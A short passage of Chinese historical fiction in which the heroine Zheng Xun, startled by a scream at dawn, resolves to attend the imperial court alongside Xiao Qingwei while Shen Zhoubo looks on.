深蓝的天色渐渐变浅,远处突然传来一声凄厉的惨叫。 天光蒙蒙的,突然听到这么一声,怪瘆人的。郑珣忍不住瑟了一下,却见沈周伯不知道什么时候转过了头来,正垂眼看向她,满脸欲言又止。 看她干什么?! 被吓着了不行吗? 郑珣瞪了回去,沈周伯顿了顿,不自然地挪开了目光。 隔了一会儿,天色依旧灰蒙蒙的不见晨曦,但是远处却传来一声声沉闷的鼓响,鼓声沉沉,一下子接着一下子,仿佛要敲开这厚重长夜。 郑珣也跟着站起身来,她拍了拍裙上的灰尘,又理了理衣裙的褶皱,淡声开口,“走吧。” 沈周伯一愣:“去哪?” 郑珣顿了一下,微笑,“去上朝。” 这样的日子,总不能让萧清维一个人面对。 清寒的冬夜里,女子偏头看向他,空气冷冽得呼吸都冒着层层白汽,青灰色的天空下,她轻淡地勾了一下唇角,露出一个如冬日晨光般稀薄的浅笑。声音婉转清丽,穿过钟鼓声而来。 沈周伯:“……”